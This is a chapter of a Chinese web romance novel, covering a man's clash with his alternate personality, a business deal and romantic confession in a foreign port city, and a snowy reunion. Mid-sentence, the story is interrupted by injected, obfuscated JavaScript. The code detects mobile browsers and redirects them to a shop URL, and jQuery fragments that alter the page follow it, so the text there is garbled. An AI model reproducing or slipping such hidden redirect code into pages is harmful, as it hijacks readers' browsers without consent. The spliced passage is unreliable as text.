46. 雪花【加更】

作品:《欲罢不能的他

    於蓝知不知道?


    知道。


    甚至,於蓝比他提早一步知道。


    看着镜子里已逐渐扭曲的,他自己的脸,应水砚心里却陡然生出一股恶意。


    他不想告诉他於蓝不想这么做。这是他的私心。


    应水砚缓缓说道:“她知道。她没有反对我这么做。”


    这的确是事实。


    “应水砚”:“……”


    应水砚明显感觉到了他的怒气,心怦怦直跳,像鱼塘里并没有生机的鱼,忽地,他被扼住了脖颈。


    反而应水砚也有了准备,他顺手拿起一个抱枕横在脖子前,仰天大笑。


    “我真想问,你究竟为什么爱她呢?你是从我的身体里诞生的,是我出了车祸那会,还是更早之前?我不知道是什么时候,我也不想在意这些。但既然如此,你为什么想要脱离我,要跟她在一起呢?”


    应水砚口口声声,只不过想问一个问题。


    你是从我的身体里诞生的,你不应该是帮助我吗?!


    果不其然,他身体里的另一个应水砚瞬间偃旗息鼓,躲在他的身体里一声不吭。


    就在应水砚以为他不会开口了,准备起身回他小姨的消息时,“应水砚”却重新开口了。与刚才的盛世凌人不同,这一次,他斜拧着,语气也阴森森的:


    “为什么你们都觉得,我不是一个活生生的人?”


    不知道是不是心理缘故,“应水砚”说完的下一秒,不远处桌子上的镜子应声碎裂。


    镜子的碎片落在桌上,空壳子面对着困惑中的应水砚,他说:“你,到底是什么人?”


    “这不重要。你知道需要知道,我有一个必须要找的、必须要挽留的人。”


    “应水砚”舔了舔嘴唇,那上面是他刚咬出来的,嘴唇上的血,是腥甜的,“为了她,我会不惜任何代价。包括你。”


    “……包括我?”


    “应水砚”说:“你的身体……”


    应水砚登时一个鲤鱼打挺站起来,他拍了拍身上刚才沾上的地板上的灰,“我的身体好着,谢谢你的赞赏。不过既然你只是暂时醒来,不会控制我太多时间的情况下,我可以考虑……暂时不吃这个药。”


    应水砚掏出口袋,上面药瓶里的药还剩几颗,他当然能听到内心里“应水砚”的愤恨,但是,和现在的他没有关系。


    他从来不是一个善良的人。


    只是这个人,他不能动。


    应水砚已经感觉到了,这个药的确会影响到他,但是与此同时,他自己也会被牵连,削弱他对这具身体的控制权。


    但这也能证明,那个“应水砚”对这具身体的控制权很低。


    低到,只要他有意识,就不会被控制的情况。


    不过他确实不知道於蓝的行踪,对于这个,他得想点办法了。


    *


    让於蓝有些意外的是,江辉映和沈华青原来是故交。


    於蓝喝下一口拿铁,牛奶拉花口感有些绵密,她砸砸嘴,看向眼前坐在她眼前的江辉映。


    江辉映叉着手,他桌子上的咖啡还腾腾冒着热气,他侃侃而谈着:


    “我和华青,曾经在法吉港这座美丽的城市一起创业,我没想到……她居然真的把产品带回了你们的国家。我,很喜欢你们。”


    江辉映的嘴角微微扬起,他似乎是回忆到了一段美好的日子,他说:“这个名字,还是华青帮我取的。”


    於蓝哦了声,“江先生知道您名字的含义吗?”


    “哈哈,”江辉映心虚地说,“你能为我解答吗?不好意思的说,我还真是忘了。我只记得华青说,这么名字,非常……漂亮。”


    於蓝点点头,“这名字的确非常漂亮。在我们国家,它的意思是各种光亮、色彩相互照耀、映射,这就是辉映。”


    於蓝由衷地说了一句:“华青给你取的这个名字,很好听哦。”她浅浅笑了一下。


    江辉映也回应了一个微笑,他总算端起被他冷漠许久的咖啡,喝了一口,哈了一口气,说:“我们的项目就这么定了吧。”


    到手的合同岂能有不要的道理?


    於蓝当即应下,手边直接把准备的合同给他过目。签好字后,於蓝还沉浸在项目成交的喜悦之中。


    却没想到,江辉映下一秒说出的话……如此,语出惊人。


    江辉映:“有件事情,我没敢告诉华青。”


    於蓝:“嗯?”


    江辉映:“我喜欢华青。”


    於蓝:“噗……”


    幸好於蓝嘴里的咖啡只有一小口,否则她真是把这个她刚联系好的合作方得罪得一干二净。然而江辉映看了於蓝的反应,微笑着说:


    “当然,我知道,她现在已经有对象了。只是这样的事情,我总不好对其他人说。”


    於蓝想说,那对我就合适吗?


    她垂下眼,眼前正是她方才和江辉映签好的合同。


    行,确实合适。


    於蓝坐好,摆正姿态,说:“你为什么不早早跟她说呢?”


    江辉映戴的是一只金色眼睛,深邃的眼睛藏在愁云一般的镜片之下,他抬了抬眼睛,很理所当然地说了句:“喜欢,为什么一定要说出来呢。”


    於蓝思索一阵,良久,伸出了自己的手,“英雄所见略同。”


    江辉映却没有伸出他的手。


    法吉港温热的太阳映照在她们的身后,江辉映说:“我和她一开始,并不对付。”


    “我们是竞头公司的,按理说是不能有交集的。后来,我和她在一家小酒馆见面,我们碰巧坐在了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065127|190551||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一起,碰巧点了同一杯酒。”


    於蓝说:“很巧诶。”


    “嗯,很巧。”江辉映说,“于是我向他介绍了我的名字,她说我的名字不好听,要帮我取一个。”


    於蓝能想象到那个画面,沈华青狡黠地取笑他的名字,又重新取了一个。江辉映呢?也许就按照他所想的,只是在那看着吧。


    於蓝:“这个名字就是这么来的?”


    “嗯。”江辉映说,“我有了这个名字,就不再奢求更多了。”


    於蓝却更震惊了,“为什么?”


    “如果你早就确定了自己的心意,为什么……”


    江辉映将眼前的咖啡一饮而尽,他先前那些欲说还休的话语总算有了落地的地方,他又说了一遍:“喜欢这件事,为什么一定要说出来呢?”


    於蓝:“……”


    再出门时,法吉港已迎来了她的落日。


    於蓝靠在酒店门前的柱子上,长叹一口气,一个电话突然打了进来。


    她心狠狠地跳动了几下,耳膜尽是心跳作祟的声音。是应水砚吗?


    於蓝有些慌乱地打开手机,她舔了舔愈发干燥的嘴唇,死皮也被她不小心捻去。


    不是他,而是於小琪。


    她有些疑惑地接听了电话,很快,对面传来了於小琪焦急的声音:


    “於蓝姐,你在哪里,求求你快回来吧……”


    於蓝不清楚於小琪到底发生了什么事情,她只能安慰她,“你别急,你告诉我,发生什么了?”


    “我爸……我爸爸,出事了。”


    登的一声,於蓝僵在原地,从下身一直麻到上半身。


    “……你别急,我这边结束了,我很快就过来。”


    亲人的受伤无非是一场巨大的伤痛,於蓝站在局外,只能见到於小琪站在一片沼泽之上,却不断地往下沉。


    就当於蓝打电话给林书让他买票时,却模模糊糊地听到了有人在叫她的名字。


    “於蓝。”


    “於蓝……”


    异国他乡的,难道是她听错了?


    林书接通了电话,适时地说了声:“於总我在,您有什么事情?”


    於蓝转过身,林书的声音犹在耳边,下一秒,她的眼睛猝然放大,无意识地、震惊地张开嘴做口型:“……应水砚?”


    “你,怎么在这里?”


    零下十几度的法吉港,下起了雪。


    应水砚没有说话。


    就在於蓝几步路的地方,她的视线由下往上,应水砚插着兜,穿着他那件深棕色的大衣,一点点向她走近。


    应水砚头顶着雪花,连睫毛也沾染着白色的绒毛。


    “我有,必须来见你的理由。”


    耳边,林书叫着她的名字:“於总,於总?”